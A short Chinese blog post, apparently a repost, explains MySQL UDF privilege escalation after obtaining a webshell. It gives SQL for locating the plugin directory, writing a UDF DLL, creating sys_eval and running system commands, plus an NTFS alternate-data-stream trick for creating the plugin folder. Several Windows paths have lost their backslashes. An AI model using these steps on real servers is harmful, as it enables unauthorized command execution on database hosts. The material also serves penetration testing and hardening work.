MySQL UDF提权 过程及注意事项

MySQL UDF提权 过程及注意事项

0x00

udf = ‘user defined function’,即‘用户自定义函数’。是通过添加新函数,对MYSQL的功能进行扩充,性质就象使用本地MYSQL函数如abs()或concat()。udf在mysql5.1以后的版本中,存在

思路

当获得webshell后发现权限比较低,但是在inc文件中拿到数据库的用户是root的情况下

1、选择udf提权,查看插件目录

SHOW VARIABLES LIKE '%plugins%'

2、dumpfile写入文件到插件目录

https://www.sqlsec.com/tools/udf.html

image-20210113225045656

3、导入提权函数

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

4、通过函数执行系统命令

SELECT sys_eval('whoami');

image-20210113225250264

注意

1️⃣ 如果导出文件时MySQL安装目录下没有 lib/plugin (插件文件夹)那么则需要开启以下选项才能利用文件流创建目录

image-20210113221250750

image-20210113220959321

2️⃣ 版本<mysql 5.0 时 udf的限制比较松,可以使用绝对路径的UDF,比如

create function cmdshell returns string soname ‘c:/test/udf.dll’

3️⃣ 版本<mysql 5.1并且>mysql 5.0 这时候对于udf的限制比较苛刻了,udf的路径必须放置在c:windowssystem32目录中或者mysql的插件目录中。(插件目录可以使用select @@plugin_dir命令来获得)注意:不一定这个目录一定存在

image-20210113211938760

4️⃣ 版本>mysql 5.1 时候对udf的限制最为严格,这时候的udf必须放置在插件目录中。但是默认安装的mysql并没有libplugin目录,在我们没有webshell不能创建目录的情况下或者是webshell没有权限创建目录的情况下,我们需要mysql能够为我们创建一个目录。而mysql本身不具备创建目录的功能,这时候很多人就放弃了,其实我们结合ntfs的特性可以实现用mysql实现创建文件夹。

假设我们的插件目录是c:mysqllibplugin这时候lib和plugin目录是不存在的,这时候我们用两个mysql语句就能实现创建文件夹

select 'xxx' into dumpfile 'C:MySQLlib::$INDEX_ALLOCATION';

select 'xxx' into dumpfile 'C:MySQLlibplugin::$INDEX_ALLOCATION';

这时候会报错ERROR 3 (HY000): Error writing file 'C:MySQLlib::$INDEX_ALLOCATION' (Errcode: 22)这个不用担心,目录已经创建了

原文地址:https://www.cnblogs.com/yujin2020/p/14277692.html